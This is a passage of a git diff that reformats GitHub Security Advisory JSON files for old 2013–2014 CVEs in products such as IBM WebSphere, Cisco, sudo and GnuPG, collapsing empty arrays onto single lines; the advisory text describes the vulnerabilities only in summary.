b/advisories/unreviewed/2022/05/GHSA-cm46-8h72-hww3/GHSA-cm46-8h72-hww3.json @@ -7,12 +7,8 @@ "CVE-2013-5425" ], "details": "Cross-site scripting (XSS) vulnerability in the Administration Console in IBM WebSphere Virtual Enterprise 6.1 before 6.1.1.6 and 7.0 before 7.0.0.4 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cmrx-m29x-6hrf/GHSA-cmrx-m29x-6hrf.json b/advisories/unreviewed/2022/05/GHSA-cmrx-m29x-6hrf/GHSA-cmrx-m29x-6hrf.json index 823519efd7c..aeb0c6d98a8 100644 --- a/advisories/unreviewed/2022/05/GHSA-cmrx-m29x-6hrf/GHSA-cmrx-m29x-6hrf.json +++ b/advisories/unreviewed/2022/05/GHSA-cmrx-m29x-6hrf/GHSA-cmrx-m29x-6hrf.json @@ -7,12 +7,8 @@ "CVE-2014-0670" ], "details": "Cross-site scripting (XSS) vulnerability in the Search and Play interface in Cisco MediaSense allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCum16686.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cpjp-rqhf-cp9p/GHSA-cpjp-rqhf-cp9p.json b/advisories/unreviewed/2022/05/GHSA-cpjp-rqhf-cp9p/GHSA-cpjp-rqhf-cp9p.json index c2db36ee549..3668f3bc19e 100644 --- a/advisories/unreviewed/2022/05/GHSA-cpjp-rqhf-cp9p/GHSA-cpjp-rqhf-cp9p.json +++ b/advisories/unreviewed/2022/05/GHSA-cpjp-rqhf-cp9p/GHSA-cpjp-rqhf-cp9p.json @@ -7,12 +7,8 @@ "CVE-2013-3820" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.51, 8.52, and 8.53 allows remote attackers to affect availability via unknown vectors related to Business Interlink.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-cpmm-wv2q-49wm/GHSA-cpmm-wv2q-49wm.json b/advisories/unreviewed/2022/05/GHSA-cpmm-wv2q-49wm/GHSA-cpmm-wv2q-49wm.json index 64dd073fdd1..5ea41d43b0a 100644 --- a/advisories/unreviewed/2022/05/GHSA-cpmm-wv2q-49wm/GHSA-cpmm-wv2q-49wm.json +++ b/advisories/unreviewed/2022/05/GHSA-cpmm-wv2q-49wm/GHSA-cpmm-wv2q-49wm.json @@ -7,12 +7,8 @@ "CVE-2013-6058" ], "details": "SQL injection vulnerability in appRain CMF 3.0.2 and earlier allows remote attackers to execute arbitrary SQL commands via the PATH_INFO to blog-by-cat/.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cq69-6m9x-393x/GHSA-cq69-6m9x-393x.json b/advisories/unreviewed/2022/05/GHSA-cq69-6m9x-393x/GHSA-cq69-6m9x-393x.json index f04d80028f8..5c70a1623d7 100644 --- a/advisories/unreviewed/2022/05/GHSA-cq69-6m9x-393x/GHSA-cq69-6m9x-393x.json +++ b/advisories/unreviewed/2022/05/GHSA-cq69-6m9x-393x/GHSA-cq69-6m9x-393x.json @@ -7,12 +7,8 @@ "CVE-2014-0813" ], "details": "Cross-site request forgery (CSRF) vulnerability in phpMyFAQ before 2.8.6 allows remote attackers to hijack the authentication of arbitrary users for requests that modify settings.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cqr3-42r7-7g8j/GHSA-cqr3-42r7-7g8j.json b/advisories/unreviewed/2022/05/GHSA-cqr3-42r7-7g8j/GHSA-cqr3-42r7-7g8j.json index bb04cfcba4a..a8da578db5a 100644 --- a/advisories/unreviewed/2022/05/GHSA-cqr3-42r7-7g8j/GHSA-cqr3-42r7-7g8j.json +++ b/advisories/unreviewed/2022/05/GHSA-cqr3-42r7-7g8j/GHSA-cqr3-42r7-7g8j.json @@ -7,12 +7,8 @@ "CVE-2013-5370" ], "details": "Unspecified vulnerability in IBM SPSS Collaboration and Deployment Services 4.2.1 and 5.0 through FP2 allows remote attackers to execute arbitrary code via unknown vectors, a different vulnerability than CVE-2013-4042.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-cr28-cmmc-g8hr/GHSA-cr28-cmmc-g8hr.json b/advisories/unreviewed/2022/05/GHSA-cr28-cmmc-g8hr/GHSA-cr28-cmmc-g8hr.json index 811519d2769..2094078a4ba 100644 --- a/advisories/unreviewed/2022/05/GHSA-cr28-cmmc-g8hr/GHSA-cr28-cmmc-g8hr.json +++ b/advisories/unreviewed/2022/05/GHSA-cr28-cmmc-g8hr/GHSA-cr28-cmmc-g8hr.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-crcj-xh9h-7wr8/GHSA-crcj-xh9h-7wr8.json b/advisories/unreviewed/2022/05/GHSA-crcj-xh9h-7wr8/GHSA-crcj-xh9h-7wr8.json index 256eb2b9850..0d4cb8a0fe5 100644 --- a/advisories/unreviewed/2022/05/GHSA-crcj-xh9h-7wr8/GHSA-crcj-xh9h-7wr8.json +++ b/advisories/unreviewed/2022/05/GHSA-crcj-xh9h-7wr8/GHSA-crcj-xh9h-7wr8.json @@ -7,12 +7,8 @@ "CVE-2013-2776" ], "details": "sudo 1.3.5 through 1.7.10p5 and 1.8.0 through 1.8.6p6, when running on systems without /proc or the sysctl function with the tty_tickets option enabled, does not properly validate the controlling terminal device, which allows local users with sudo permissions to hijack the authorization of another terminal via vectors related to connecting to the standard input, output, and error file descriptors of another terminal. NOTE: this is one of three closely-related vulnerabilities that were originally assigned CVE-2013-1776, but they have been SPLIT because of different affected versions.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -88,9 +84,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-cww7-3wjr-4g2q/GHSA-cww7-3wjr-4g2q.json b/advisories/unreviewed/2022/05/GHSA-cww7-3wjr-4g2q/GHSA-cww7-3wjr-4g2q.json index 90f7497812c..6d29e6cdf89 100644 --- a/advisories/unreviewed/2022/05/GHSA-cww7-3wjr-4g2q/GHSA-cww7-3wjr-4g2q.json +++ b/advisories/unreviewed/2022/05/GHSA-cww7-3wjr-4g2q/GHSA-cww7-3wjr-4g2q.json @@ -7,12 +7,8 @@ "CVE-2013-5442" ], "details": "Cross-site scripting (XSS) vulnerability in the Local Management Interface (LMI) in IBM Security Network Protection on XGS 5100 devices with firmware 5.1 before 5.1.0.6 and 5.1.1 before 5.1.1.1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cxqc-jm2g-f2cf/GHSA-cxqc-jm2g-f2cf.json b/advisories/unreviewed/2022/05/GHSA-cxqc-jm2g-f2cf/GHSA-cxqc-jm2g-f2cf.json index 9dba31343b1..34c8f99bee0 100644 --- a/advisories/unreviewed/2022/05/GHSA-cxqc-jm2g-f2cf/GHSA-cxqc-jm2g-f2cf.json +++ b/advisories/unreviewed/2022/05/GHSA-cxqc-jm2g-f2cf/GHSA-cxqc-jm2g-f2cf.json @@ -7,12 +7,8 @@ "CVE-2013-5108" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the xn function in RockMongo 1.1.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) db parameter on the login page or (2) username parameter in a login.index action to index.php and other unspecified parameters.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f2wc-945w-6qg3/GHSA-f2wc-945w-6qg3.json b/advisories/unreviewed/2022/05/GHSA-f2wc-945w-6qg3/GHSA-f2wc-945w-6qg3.json index 3d85f437a61..a8dc4057c9d 100644 --- a/advisories/unreviewed/2022/05/GHSA-f2wc-945w-6qg3/GHSA-f2wc-945w-6qg3.json +++ b/advisories/unreviewed/2022/05/GHSA-f2wc-945w-6qg3/GHSA-f2wc-945w-6qg3.json @@ -7,12 +7,8 @@ "CVE-2013-5356" ], "details": "Sharetronix 3.1.1.3, 3.1.1, and earlier does not properly restrict access to unspecified AJAX functionality, which allows remote attackers to bypass authentication via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-f43f-q929-x2qf/GHSA-f43f-q929-x2qf.json b/advisories/unreviewed/2022/05/GHSA-f43f-q929-x2qf/GHSA-f43f-q929-x2qf.json index af09224da07..e2e67e1fb2b 100644 --- a/advisories/unreviewed/2022/05/GHSA-f43f-q929-x2qf/GHSA-f43f-q929-x2qf.json +++ b/advisories/unreviewed/2022/05/GHSA-f43f-q929-x2qf/GHSA-f43f-q929-x2qf.json @@ -7,12 +7,8 @@ "CVE-2013-4576" ], "details": "GnuPG 1.x before 1.4.16 generates RSA keys using sequences of introductions with certain patterns that introduce a side channel, which allows physically proximate attackers to extract RSA keys via a chosen-ciphertext attack and acoustic cryptanalysis during decryption. NOTE: applications are not typically expected to protect themselves from acoustic side-channel attacks, since this is arguably the responsibility of the physical device. Accordingly, issues of this type would not normally receive a CVE identifier. However, for this issue, the developer has specified a security policy in which GnuPG should offer side-channel resistance, and developer-specified security-policy violations are within the scope of CVE.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -68,9 +64,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-f4j4-8x73-vjx4/GHSA-f4j4-8x73-vjx4.json b/advisories/unreviewed/2022/05/GHSA-f4j4-8x73-vjx4/GHSA-f4j4-8x73-vjx4.json index 0d0b34555ee..9f90160de59 100644 --- a/advisories/unreviewed/2022/05/GHSA-f4j4-8x73-vjx4/GHSA-f4j4-8x73-vjx4.json +++ b/advisories/unreviewed/2022/05/GHSA-f4j4-8x73-vjx4/GHSA-f4j4-8x73-vjx4.json @@ -7,12 +7,8 @@ "CVE-2013-4212" ], "details": "Certain getText methods in the ActionSupport controller in Apache Roller before 5.0.2 allow remote attackers to execute arbitrary OGNL expressions via the first or second parameter, as demonstrated by the pageTitle parameter in the !getPageTitle sub-URL to roller-ui/login.rol, which uses a subclass of UIAction, aka \"OGNL Injection.\"", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f4x4-q95w-jp8r/GHSA-f4x4-q95w-jp8r.json b/advisories/unreviewed/2022/05/GHSA-f4x4-q95w-jp8r/GHSA-f4x4-q95w-jp8r.json index 37793d3df56..3f5ab3f397a 100644 --- a/advisories/unreviewed/2022/05/GHSA-f4x4-q95w-jp8r/GHSA-f4x4-q95w-jp8r.json +++ b/advisories/unreviewed/2022/05/GHSA-f4x4-q95w-jp8r/GHSA-f4x4-q95w-jp8r.json @@ -7,12 +7,8 @@ "CVE-2013-3431" ], "details": "Cisco Video Surveillance Manager (VSM) before 7.0.0 does not require authentication for access to VSMC monitoring pages, which allows remote attackers to obtain sensitive configuration, archive, and log information via unspecified vectors, related to the Cisco_VSBWT (aka Broadware sample code) package, aka Bug ID CSCsv40169.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f522-p6g6-ggvf/GHSA-f522-p6g6-ggvf.json b/advisories/unreviewed/2022/05/GHSA-f522-p6g6-ggvf/GHSA-f522-p6g6-ggvf.json index bd60ba04681..504e7a8780e 100644 --- a/advisories/unreviewed/2022/05/GHSA-f522-p6g6-ggvf/GHSA-f522-p6g6-ggvf.json +++ b/advisories/unreviewed/2022/05/GHSA-f522-p6g6-ggvf/GHSA-f522-p6g6-ggvf.json @@ -7,12 +7,8 @@ "CVE-2013-6748" ], "details": "Buffer overflow in the ActiveX control in qp2.cab in IBM Lotus Quickr for Domino 8.5.1 before 8.5.1.42-001b allows remote attackers to execute arbitrary code via a crafted HTML document, a different vulnerability than CVE-2013-6749.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f57c-f25x-cvfj/GHSA-f57c-f25x-cvfj.json b/advisories/unreviewed/2022/05/GHSA-f57c-f25x-cvfj/GHSA-f57c-f25x-cvfj.json index 0390a488338..85d31d2d9cc 100644 --- a/advisories/unreviewed/2022/05/GHSA-f57c-f25x-cvfj/GHSA-f57c-f25x-cvfj.json +++ b/advisories/unreviewed/2022/05/GHSA-f57c-f25x-cvfj/GHSA-f57c-f25x-cvfj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f5c2-732g-c3qf/GHSA-f5c2-732g-c3qf.json b/advisories/unreviewed/2022/05/GHSA-f5c2-732g-c3qf/GHSA-f5c2-732g-c3qf.json index 3f61e23ef0f..e6f5295667d 100644 --- a/advisories/unreviewed/2022/05/GHSA-f5c2-732g-c3qf/GHSA-f5c2-732g-c3qf.json +++ b/advisories/unreviewed/2022/05/GHSA-f5c2-732g-c3qf/GHSA-f5c2-732g-c3qf.json @@ -7,12 +7,8 @@ "CVE-2013-6222" ], "details": "Cross-site scripting (XSS) vulnerability in the Mobility Web Client and Service Request Catalog (SRC) components in HP Service Manager (SM) 7.21 and 9.x before 9.34 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f5rq-j594-qcq4/GHSA-f5rq-j594-qcq4.json b/advisories/unreviewed/2022/05/GHSA-f5rq-j594-qcq4/GHSA-f5rq-j594-qcq4.json index 164d55181f5..7d4324ead4d 100644 --- a/advisories/unreviewed/2022/05/GHSA-f5rq-j594-qcq4/GHSA-f5rq-j594-qcq4.json +++ b/advisories/unreviewed/2022/05/GHSA-f5rq-j594-qcq4/GHSA-f5rq-j594-qcq4.json @@ -7,12 +7,8 @@ "CVE-2013-7191" ], "details": "Cross-site scripting (XSS) vulnerability in Tenmiles Helpdesk Pilot allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to the default URI for a ticket.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f627-wxv3-4jm2/GHSA-f627-wxv3-4jm2.json b/advisories/unreviewed/2022/05/GHSA-f627-wxv3-4jm2/GHSA-f627-wxv3-4jm2.json index 439ce0f3ec7..76034ccc151 100644 --- a/advisories/unreviewed/2022/05/GHSA-f627-wxv3-4jm2/GHSA-f627-wxv3-4jm2.json +++ b/advisories/unreviewed/2022/05/GHSA-f627-wxv3-4jm2/GHSA-f627-wxv3-4jm2.json @@ -7,12 +7,8 @@ "CVE-2013-5098" ], "details": "Cross-site scripting (XSS) vulnerability in admin/admin.php in the Download Monitor plugin before 3.3.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the sort parameter, a different vulnerability than CVE-2013-3262.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f73c-j2r7-jwg6/GHSA-f73c-j2r7-jwg6.json b/advisories/unreviewed/2022/05/GHSA-f73c-j2r7-jwg6/GHSA-f73c-j2r7-jwg6.json index c5514ef5588..e47bddcfcca 100644 --- a/advisories/unreviewed/2022/05/GHSA-f73c-j2r7-jwg6/GHSA-f73c-j2r7-jwg6.json +++ b/advisories/unreviewed/2022/05/GHSA-f73c-j2r7-jwg6/GHSA-f73c-j2r7-jwg6.json @@ -7,12 +7,8 @@ "CVE-2013-5393" ], "details": "The monitoring console in IBM WebSphere eXtreme Scale 7.1.0, 7.1.1, 8.5.0, and 8.6.0 does not properly process logoff actions, which has unspecified impact and remote attack vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-f79r-cx48-9744/GHSA-f79r-cx48-9744.json b/advisories/unreviewed/2022/05/GHSA-f79r-cx48-9744/GHSA-f79r-cx48-9744.json index fcfe8bb9b5a..957527d946e 100644 --- a/advisories/unreviewed/2022/05/GHSA-f79r-cx48-9744/GHSA-f79r-cx48-9744.json +++ b/advisories/unreviewed/2022/05/GHSA-f79r-cx48-9744/GHSA-f79r-cx48-9744.json @@ -7,12 +7,8 @@ "CVE-2013-7092" ], "details": "Multiple SQL injection vulnerabilities in /admin/cgi-bin/rpc/doReport/18 in McAfee Email Gateway 7.6 allow remote authenticated users to execute arbitrary SQL commands via the (1) events_col, (2) event_id, (3) reason, (4) events_order, (5) emailstatus_order, or (6) emailstatus_col JSON keys.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f7cp-72mv-6mq4/GHSA-f7cp-72mv-6mq4.json b/advisories/unreviewed/2022/05/GHSA-f7cp-72mv-6mq4/GHSA-f7cp-72mv-6mq4.json index 793e6add1ae..67b2e2dbdd8 100644 --- a/advisories/unreviewed/2022/05/GHSA-f7cp-72mv-6mq4/GHSA-f7cp-72mv-6mq4.json +++ b/advisories/unreviewed/2022/05/GHSA-f7cp-72mv-6mq4/GHSA-f7cp-72mv-6mq4.json @@ -7,12 +7,8 @@ "CVE-2013-5318" ], "details": "SQL injection vulnerability in Ginkgo CMS 5.0 allows remote attackers to execute arbitrary SQL commands via the rang parameter to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f8g3-rm35-8w7f/GHSA-f8g3-rm35-8w7f.json b/advisories/unreviewed/2022/05/GHSA-f8g3-rm35-8w7f/GHSA-f8g3-rm35-8w7f.json index 688007d5cf9..2031fd60647 100644 --- a/advisories/unreviewed/2022/05/GHSA-f8g3-rm35-8w7f/GHSA-f8g3-rm35-8w7f.json +++ b/advisories/unreviewed/2022/05/GHSA-f8g3-rm35-8w7f/GHSA-f8g3-rm35-8w7f.json @@ -7,12 +7,8 @@ "CVE-2013-5523" ], "details": "The Sponsor Portal in Cisco Identity Services Engine (ISE) 1.2 and earlier does not properly restrict use of IFRAME elements, which makes it easier for remote attackers to conduct clickjacking attacks and unspecified other attacks via a crafted web site, related to a \"cross-frame scripting (XFS)\" issue, aka Bug ID CSCui82666.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-f8m6-gv3p-32v4/GHSA-f8m6-gv3p-32v4.json b/advisories/unreviewed/2022/05/GHSA-f8m6-gv3p-32v4/GHSA-f8m6-gv3p-32v4.json index 1f1a254e098..1941ac6aec8 100644 --- a/advisories/unreviewed/2022/05/GHSA-f8m6-gv3p-32v4/GHSA-f8m6-gv3p-32v4.json +++ b/advisories/unreviewed/2022/05/GHSA-f8m6-gv3p-32v4/GHSA-f8m6-gv3p-32v4.json @@ -7,12 +7,8 @@ "CVE-2013-5463" ], "details": "The WinCollect agent in IBM Security QRadar SIEM before 7.1.1.569824 allows remote attackers to bypass intended access restrictions by injecting a (1) DLL or (2) configuration file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-f96r-pff3-7745/GHSA-f96r-pff3-7745.json b/advisories/unreviewed/2022/05/GHSA-f96r-pff3-7745/GHSA-f96r-pff3-7745.json index 72c1b596a4e..be4ab4243f8 100644 --- a/advisories/unreviewed/2022/05/GHSA-f96r-pff3-7745/GHSA-f96r-pff3-7745.json +++ b/advisories/unreviewed/2022/05/GHSA-f96r-pff3-7745/GHSA-f96r-pff3-7745.json @@ -7,12 +7,8 @@ "CVE-2014-0678" ], "details": "The portal interface in Cisco Secure Access Control System (ACS) does not properly manage sessions, which allows remote authenticated users to hijack sessions and gain privileges via unspecified vectors, aka Bug ID CSCue65951.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-f9r9-jxqh-vph4/GHSA-f9r9-jxqh-vph4.json b/advisories/unreviewed/2022/05/GHSA-f9r9-jxqh-vph4/GHSA-f9r9-jxqh-vph4.json index bfb64b4a5cf..69f7c6303c0 100644 --- a/advisories/unreviewed/2022/05/GHSA-f9r9-jxqh-vph4/GHSA-f9r9-jxqh-vph4.json +++ b/advisories/unreviewed/2022/05/GHSA-f9r9-jxqh-vph4/GHSA-f9r9-jxqh-vph4.json @@ -7,12 +7,8 @@ "CVE-2013-5970" ], "details": "hostd-vmdb in VMware ESXi 4.0 through 5.0 and ESX 4.0 through 4.1 allows remote attackers to cause a denial of service (hostd-vmdb service outage) by modifying management traffic.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-fc8p-r363-wj97/GHSA-fc8p-r363-wj97.json b/advisories/unreviewed/2022/05/GHSA-fc8p-r363-wj97/GHSA-fc8p-r363-wj97.json index c162706a0df..ec93d25c568 100644 --- a/advisories/unreviewed/2022/05/GHSA-fc8p-r363-wj97/GHSA-fc8p-r363-wj97.json +++ b/advisories/unreviewed/2022/05/GHSA-fc8p-r363-wj97/GHSA-fc8p-r363-wj97.json @@ -7,12 +7,8 @@ "CVE-2013-5009" ], "details": "The Management Console in Symantec Endpoint Protection (SEP) 11.x before 11.0.7.4 and 12.x before 12.1.2 RU2 and Endpoint Protection Small Business Edition 12.x before 12.1.2 RU2 does not properly perform authentication, which allows remote authenticated users to gain privileges by leveraging access to a limited-admin account.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-ff97-x7r4-x5cq/GHSA-ff97-x7r4-x5cq.json b/advisories/unreviewed/2022/05/GHSA-ff97-x7r4-x5cq/GHSA-ff97-x7r4-x5cq.json index 4d55e43bc7d..ce7f30a1bf8 100644 --- a/advisories/unreviewed/2022/05/GHSA-ff97-x7r4-x5cq/GHSA-ff97-x7r4-x5cq.json +++ b/advisories/unreviewed/2022/05/GHSA-ff97-x7r4-x5cq/GHSA-ff97-x7r4-x5cq.json @@ -7,12 +7,8 @@ "CVE-2013-6328" ], "details": "Cross-site scripting (XSS) vulnerability in the Web Content Manager (WCM) UI in IBM WebSphere Portal 6.1.0.x through 6.1.0.6 CF27, 6.1.5.x through 6.1.5.3 CF27, 7.0.0.x through 7.0.0.2 CF26, and 8.0.0.x before 8.0.0.1 CF09 allows remote attackers to inject arbitrary web script or HTML via vectors involving IFRAME elements.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-ffwr-gq9f-j2rr/GHSA-ffwr-gq9f-j2rr.json b/advisories/unreviewed/2022/05/GHSA-ffwr-gq9f-j2rr/GHSA-ffwr-gq9f-j2rr.json index a6fa2755c92..e636fcd2c5e 100644 --- a/advisories/unreviewed/2022/05/GHSA-ffwr-gq9f-j2rr/GHSA-ffwr-gq9f-j2rr.json +++ b/advisories/unreviewed/2022/05/GHSA-ffwr-gq9f-j2rr/GHSA-ffwr-gq9f-j2rr.json @@ -7,12 +7,8 @@ "CVE-2013-4871" ], "details": "Cross-site request forgery (CSRF) vulnerability in the TEQneers SEO Enhancements (tq_seo) extension before 5.0.1 for TYPO3 allows remote attackers to hijack the authentication of unspecified victims via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-fg26-6jwx-496h/GHSA-fg26-6jwx-496h.json b/advisories/unreviewed/2022/05/GHSA-fg26-6jwx-496h/GHSA-fg26-6jwx-496h.json index fb42a43ba66..32e3cbc377c 100644 --- a/advisories/unreviewed/2022/05/GHSA-fg26-6jwx-496h/GHSA-fg26-6jwx-496h.json +++ b/advisories/unreviewed/2022/05/GHSA-fg26-6jwx-496h/GHSA-fg26-6jwx-496h.json @@ -7,12 +7,8 @@ "CVE-2013-2954" ], "details": "The login page in the Console in IBM InfoSphere Optim Data Growth for Oracle E-Business Suite 6.x, 7.x, and 9.x before 9.1.0.3 does not limit the number of incorrect authentication attempts, which makes it easier for remote attackers to obtain access via a brute-force attack.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-fj47-554h-3xpr/GHSA-fj47-554h-3xpr.json b/advisories/unreviewed/2022/05/GHSA-fj47-554h-3xpr/GHSA-fj47-554h-3xpr.json index 1ad79e4ca7b..9215a2eb4fe 100644 --- a/advisories/unreviewed/2022/05/GHSA-fj47-554h-3xpr/GHSA-fj47-554h-3xpr.json +++ b/advisories/unreviewed/2022/05/GHSA-fj47-554h-3xpr/GHSA-fj47-554h-3xpr.json @@ -7,12 +7,8 @@ "CVE-2013-4912" ], "details": "Open redirect vulnerability in Siemens WinCC (TIA Portal) 11 and 12 before 12 SP1 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks by leveraging improper configuration of SIMATIC HMI panels by the WinCC product.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-fq7g-96mj-hhf9/GHSA-fq7g-96mj-hhf9.json b/advisories/unreviewed/2022/05/GHSA-fq7g-96mj-hhf9/GHSA-fq7g-96mj-hhf9.json index d57f7fc757a..ee44debd30b 100644 --- a/advisories/unreviewed/2022/05/GHSA-fq7g-96mj-hhf9/GHSA-fq7g-96mj-hhf9.json +++ b/advisories/unreviewed/2022/05/GHSA-fq7g-96mj-hhf9/GHSA-fq7g-96mj-hhf9.json @@ -7,12 +7,8 @@ "CVE-2013-5372" ], "details": "The XML4J parser in IBM WebSphere Message Broker 6.1 before 6.1.0.12, 7.0 before 7.0.0.7, and 8.0 before 8.0.0.4 and IBM Integration Bus 9.0 before 9.0.0.1 allows remote attackers to cause a denial of service (memory consumption) via a crafted XML document that triggers expansion for many entities.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -68,9 +64,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-fqq3-cc27-4322/GHSA-fqq3-cc27-4322.json b/advisories/unreviewed/2022/05/GHSA-fqq3-cc27-4322/GHSA-fqq3-cc27-4322.json index e64de13ea7b..b90f5d58cc9 100644 --- a/advisories/unreviewed/2022/05/GHSA-fqq3-cc27-4322/GHSA-fqq3-cc27-4322.json +++ b/advisories/unreviewed/2022/05/GHSA-fqq3-cc27-4322/GHSA-fqq3-cc27-4322.json @@ -7,12 +7,8 @@ "CVE-2013-4800" ], "details": "Unspecified vulnerability in HP LoadRunner before 11.52 allows remote attackers to execute arbitrary code via unknown vectors, aka ZDI-CAN-1735.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ 